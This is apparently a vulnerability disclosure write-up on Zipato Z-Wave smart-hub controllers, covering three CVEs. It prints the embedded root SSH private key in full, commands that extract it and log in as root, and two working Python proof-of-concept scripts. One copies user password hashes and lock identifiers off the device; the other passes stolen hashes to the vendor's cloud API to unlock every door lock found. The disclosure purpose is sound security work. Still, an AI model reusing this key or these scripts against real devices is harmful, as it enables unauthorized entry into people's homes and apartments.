Researcher Contact Information

Name Contact Role
Charles Dardaman @CharlesDardaman Reverse Engineered API
INIT_6 @INIT_3 Discovered Root SSH Key

Executive Summary

During the 0DAYALLDAY Research Event three vulnerabilities were discovered in the ZipaMicro Z-Wave Controller Model #:  ZM.ZWUS and the Zipabox Z-Wave Controller Model #: 2AAU7-ZBZWUS.  Two vulnerabilities are in the design and implementation of the authentication mechanism in the Zipato Application Programming Interface (API). The third vulnerability is embedded SSH private key for ROOT which isn’t unique and can be extracted.

Approach

When we first got our hands on the smart lock and hub we thought of attacking it in three different senarios. First, could we unlock the door remotely without having access to anything before hand. Second, if we were an apartment resident with this solution could we take data off the device in order to unlock all the other residents’ front doors. Lastly, could we find a vulnerability or misconfiguration that would allow an attacker to unlock the door on the same network. During our research we were able to prove that two of these methods of attack were viable and if we had more time might have proven all three to be feasable.

Product Description

The Zipato ZM.ZWUS ZipaMicro Z-Wave controller is the smallest controller in the Zipato’s line of Z-Wave controllers. It’s used to manage and control Z-Wave and IP devices remotely. Vendor product page can be found here.

The Zipato 2AAU7-ZBZWUS Zipabox Z-Wave controller is their module based controller allowing for additional modules to be attached. It’s used to manage and control Z-Wave, IP devices, among other modules that can be attached remotely. Vendor product page can be found here.

Findings Overview

This section summarizes the strategic problems identified, risk ratings, and recommendations. The Detailed Testing section describes the attempted attacks, evidence (including screen shots), risk-ratings, and potential solutions.

The results from this testing as well as any additional details regarding any further exposure can be found in the Detailed Testing section.

Device Zipato ZM.ZWUS ZipaMicro Z-Wave controller
Finding Risk Rating Remediation Status
Embedded SSH Private key for ROOT CRITICAL Vulnerable
Pass-the-Hash Local API Authentication CRITICAL Vulnerable
Pass-the-Hash Remote API Authentication CRITICAL Vulnerable

Detailed Technical Description

Embedded SSH Private key for ROOT (CVE-2019-9560)

The SSH key was found by removing the SD Card from the device and imaging the SD Card. SSH key was found in ‘/etc/dropbear/’ with the name ‘dropbear_rsa_host_key’ which is password protected when using this format but you can still extract the Private and Public key.

init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ ssh -i dropbear_rsa_host_key root@192.168.6.60
Enter passphrase for key 'dropbear_rsa_host_key': 

Extracting the private key with dropbearconvert tool:

init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ /usr/lib/dropbear/dropbearconvert dropbear openssh dropbear_rsa_host_key zipato_id_rsa
Key is a ssh-rsa key
Wrote key to 'zipato_id_rsa'

Private key:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAr44ZVxiXQR3TZ87An2c0n27ZwEvgftLhQtvZ+klNqgXCso39
ZuCRItaw/wZ3WISwskwCvzCev4Di50Qsww6+sUaBoJU4KXuZi8LWzJHJ5zDnDa9c
PArIfg3wZM0UlHIAqb0wm1YWAqFd7jTTATTmXKMQccgk3shEYbHvqZnR5RReuD/b
5LzxkRzndmJ2te1cCYBH3xcj6T78sFNuHj5DByd2CgaQje+Un8WkUqxfRVT2d9/Y
vlaRXx0Qpz7Gk0+JqPpVdos8a6Ws0dka9nhJXAy8fGhYCz0xoIjBXw1+XZCSO/OD
J6saR9DeT2WlJw1OUmTj73DbtRw7fegWpDfLRwIDAQABAoIBAAyeHkzNPqnLy/2t
CtkqIMpzZtZ/CElKki2CVwi51gl/VSliMoaqDfm+toVN4KwNtWl13x4AukLcr5zx
oHSl4vzOKtObhf2CnbGW37tfoG8BFnTnAq5qE/5DYDYj1fPUEcohXT9SO6Nqwlve
6L+FyXzPrNyQsbMKxSdvE4umu5hG9M1WfnqJglH4rI7WDT6lgbt7+nMsCTGeTsR7
Wvv1eHGR8sanTaEV/Xt5G2MjGI4Xvrux/vm4jvFno2I2DDj0IOmtaQkDij861aNE
B+xV7XuAW6ruDc37XkdHunnGNZWmkGCdoI7IvzRMfpHWwmZG1zPyFtXZfarycrIe
0ndD3sECgYEAuoyS6jL/OVcN7DhIPe8NJcc3P4GY38TetsS9QtkqqdhxV37KX5Ge
Kyr7IeAm1jO1TYfQ1EK3jtR+f/wNnrgh34LUnIZ00ND+X7FS52WndVzeCR+Fh48Z
RJDqR+rb2Ia/jEEbQXrOFXYs4vcy+WfvQ5ZSWR9JAoxWKinalvGp52cCgYEA8Om3
bN1Y8m0XmBVA5T3JM6/Zg0/KAhv2BM3QpBHWXKLL/CBq7xNrMlb1N49Rd9SAXVVA
mfBVOQl5QdpzrERzXWtaDr/UvCSj4m9wMrZg88273viS2IbNJ0Tz59OhCv1OKyUA
OsTL4avGpS8TC4+ocRWtaVHQTQG1eXvTbDMf8SECgYEAkKkUAGMdgdSdKlIWy1hG
BMawdCHGb7gV0PtNnLoVGHKMqgHbYzLjyavh5MoSs8aTUJUCfqdh+nOTySGnWi6F
rfKhduPZUFjQ+Vnj5SbyLdOfJsn33UA9ousRkkVwyD7t6RBP134os4HZmwOA1uEf
LHU0VIIrNrum0bl1Fdo/G/8CgYBkhgElic7diSu5J9UmUnur94pZQmfWLXigVIjk
jRTXHo7jK1uzWnT2UlaL0l96Es9lIneMRD4rSIqyMcbmcMF6j5rKYL0RrHA9waYd
YwBdetETnsEXXFgqNJlZeHLQNRXy5sOLwiYYiiafMl9OCamNVjA/rAWwvC/O+x4j
HcoMQQKBgQCe0ahjyz9pCMMsmNITUVGeujFExkj1KwzVgBxFDO6yRUhl0T7U7xiH
8VPAyM0/7jhj9zrGhwINMLIsiAAgmKdBY+k2vUfuOJxUQsQB+WmucZAJSZ0xhRnB
b98phTSt+TGayvOSDc1x7wli4wyZPhIo6mEMc6DKY+hrZKbFQkFtEQ==
-----END RSA PRIVATE KEY-----

Extracting the public key with dropbearkey tool:

init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ dropbearkey -y -f dropbear_rsa_host_key | grep "^ssh-rsa " > zipato_id_rsa.pub

The public key matched the public key in /home/root/.ssh/authorized_keys

Login with new extracted private key:

init6@FBI:/media/multimedia/0DayAllDay/zipato-smarthub$ ssh -i zipato_id_rsa root@192.168.6.60
root@zipaMicro:~# whoami
root

Pass-the-Hash Local API Authentication (CVE-2019-9561)

Users data is stored in ‘/mnt/data/zipato/storage/USERS’:

root@zipaMicro:/mnt/data/zipato/storage/USERS# ls -lah
drwxr-xr-x    4 root     root        4.0K Feb 23 22:12 .
drwxr-xr-x    9 root     root        4.0K Feb 23 22:12 ..
drwxr-xr-x    2 root     root        4.0K Feb 23 18:24 0a5ad19e-ec0f-4a17-b314-5dd328ab913d
drwxr-xr-x    2 root     root        4.0K Feb 23 22:12 a9a6328f-f4d5-4f8f-b724-ee30ebb85594
-rw-r--r--    1 root     root         173 Feb 23 22:07 object.json

Inside each user is a object.json file which includes the SHA1 password hash.

{
    "className": "com.zipato.runtime.BoxUser",
    "uuid": "0a5ad19e-ec0f-4a17-b314-5dd328ab913d",
    "name": "Users Email Account",
    "cv": 0,
    "sv": 0,
    "deleted": true,
    "locked": false,
    "nd": true,
    "tags": null,
    "order": null,
    "master": true,
    "duress": false,
    "alias": null,
    "password": "Users SHA1 Password",
    "number": 1,
    "pinSalt": null,
    "pinToken": null,
    "activeRoles": ["owner", "wallet", "global_cache", "philips_hue", "nest", "brand_limit", "sonos"]
}

After looking at the Zipato API documentation we can build our authentication request with out having to crack the password hash.

First it’s required to get the Nonce by sending a get request to ‘/user/init’ endpoint.

Next to login you need to create a token SHA1(nonce + SHA1(password)). Since we already have the SHA1(password) we can just pass the hash from the object.json file.

Once authenticated you can send the door unlock request by sending a PUT request to the API endpoint ‘/v2/attributes/<uuid>/value’ where the UUID is the Z-Wave lock object. This UUID can be found in the file located here ‘/mnt/data/zipato/storage/attributes.json’

The put data to open the lock is:

{“value”:”false”}

To lock the door you set value to “true”.

Proof-of-Concept script:

#Written by Charles Dardaman

import requests
import hashlib
import sys
import os
import json
import subprocess
import logging

#Grab passwords and UUIDS
print("Stealing the files")

#trying with scp

#Grabbing files needed for UUID
cmd = "scp -i key root@" + sys.argv[1] + ":/mnt/data/zipato/storage/attributes.json ."
return_code = subprocess.call(cmd, shell=True)
if return_code != 0:
    print("Files not found")
    sys.exit()

#Grabbing files needed for token
cmd = "scp -r -i key root@" + sys.argv[1] + ":/mnt/data/zipato/storage/USERS/ ."
return_code = subprocess.call(cmd, shell=True)
if return_code != 0:
    print("Files not found")
    sys.exit()

#Open the files to parse the json to get the UUID, Username, and Password

print("Forging Keys")

with open("attributes.json") as f:
    data = json.load(f)
    for key in data:
        if key["name"] == "STATE":
            uuid = key["uuid"]
            print(uuid)

#Try for all the users
for root,dirs,files in os.walk("USERS"):
    for name in files:
        userpath = root + "/" + name
        with open(userpath) as f:
            data = json.load(f)
            try:
                username = data["name"]
                password = data["password"]
                print(username)
                print(password)
            except:
                break

            print("Building Crowbar")

            #Get nonce
            r = requests.get("http://" + sys.argv[1] + ":8080/v2/user/init")

            data = json.loads(r.text)
            nonce = data["nonce"]
            print("Nonce= " + nonce)
            jessionid = data["jsessionid"]
            cookies = {"JSESSIONID": jessionid}

            #SHA work SHA1(nonce+password=token)
            np = nonce + password
            print(np)

            hash_object = hashlib.sha1(np.encode())
            token = hash_object.hexdigest()
            print("token: "+ token)

            #Send Login Request
            r = requests.get("http://" + sys.argv[1] + ":8080/v2/user/login?username="+username+"&token="+token,cookies=cookies)

            print(r.text)
            data = json.loads(r.text)

            if data["success"] != "true":
                print("Pure Failure")

            #Send Open
            r = requests.put("http://" + sys.argv[1] + ":8080/v2/attributes/"+uuid+"/value",cookies=cookies,json={"value":"true"})

            print(r.text)
            print("Door Opened")

Pass-the-Hash Remote API Authentication (CVE-2019-9562)

The remote API has the same Pass-the-Hash vulnerability as the local API.  Depending on the Zipato implementation it could be possible to control all the ZipatoMicro devices. For example, [REDACTED] implementation has 3 usable credentials. Master account owned by [REDACTED], Master account for the apartment complex, and an account for the renter. Because of this it’s possible to control all the devices on the [REDACTED]’s network.

Proof-of-Concept script:

#Written by Charles Dardaman
#INIT_6 Adapted Charles' script for attacking the remote api.

import requests
import hashlib
import sys
import os
import json
import subprocess
import logging
import argparse

def run(username, password, lock):
    url = "https://my.zipato.com/zipato-web/v2"

    print("Building Crowbar")
    #Get nonce
    r = requests.get(url + "/user/init")

    data = json.loads(r.text)
    nonce = data["nonce"]
    print("Nonce: %s" % (nonce) )

    jessionid = data["jsessionid"]
    cookies = {"JSESSIONID": jessionid}

    #SHA work SHA1(nonce+password=token)
    np = nonce + password
    print("nonce + password: %s " % (np) )

    hash_object = hashlib.sha1(np.encode())
    token = hash_object.hexdigest()
    print("token: %s" % (token) )

    #Send Login Request
    r = requests.get(url + "/user/login?username="+username+"&token="+token,cookies=cookies)

    print(r.text)
    data = json.loads(r.text)

    if not data["success"]:
        print("Pure Failure")

    # Get Users
    r = requests.get(url + "/users", cookies=cookies)
    users = json.loads(r.text)

    # Get Devices
    r = requests.get(url + "/devices", cookies=cookies)
    devices = json.loads(r.text)

    # Get all device endpoints and search for Door locks, get all door lock endpoints STATE attributes and then either lock or unlock the doors.
    door_lock_endpoints = []
    device_uuids = []
    for device in devices:
        if 'uuid' in device.keys():
            device_uuids.append(device['uuid'])

    for uuid in device_uuids:
        r = requests.get(url + "/devices/"+uuid+"/endpoints",cookies=cookies)
        data = json.loads(r.text)
        if data:
            r = requests.get(url + "/endpoints/"+data[0]['uuid']+"?attributes=true",cookies=cookies)
            data = json.loads(r.text)
            if 'Door Lock' in data['name']:
                for attribute in data['attributes']:
                    if attribute['name'] == 'STATE':
                        door_lock_endpoints.append(attribute['uuid'])

    if door_lock_endpoints:
        for uuid in door_lock_endpoints:
            if lock:
                r = requests.put(url + "/attributes/"+uuid+"/value",cookies=cookies,json={"value":"true"})
                print("Door Locked")
            else:
                r = requests.put(url + "/attributes/"+uuid+"/value",cookies=cookies,json={"value":"false"})
                print("Door Opened")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Zipato API\nAll Your Houses are belong to us...",epilog=None)
    parser.add_argument("-u","--username",help="Zipato Username",type=str,required=True)
    parser.add_argument("-p","--password",help="Zipato SHA1 Password Hash",type=str,required=True)
    parser.add_argument("--lock",help="Lock Doors",action='store_true')
    parser.add_argument("--unlock",help="Unlock Doors",action='store_true')

    opt = parser.parse_args()
    #Lock = True or unlock = False
    #Fail closed for security.
    try:
        if opt.lock:
            lock = True
        elif opt.unlock:
            lock = False
        else:
            lock = False
    except:
        lock = False

    run(opt.username, opt.password, lock)

Zipato’s Response

Their documentation hasn’t changed, so Passing-The-Hash is still an issue if you can find the password hash.

Informational Findings

Searching for the RSA fingerprint on Shodan.io found 5 Zipato Micro devices directly on the Internet.

 

Source:

https://blackmarble.sh/zipato-smart-hub/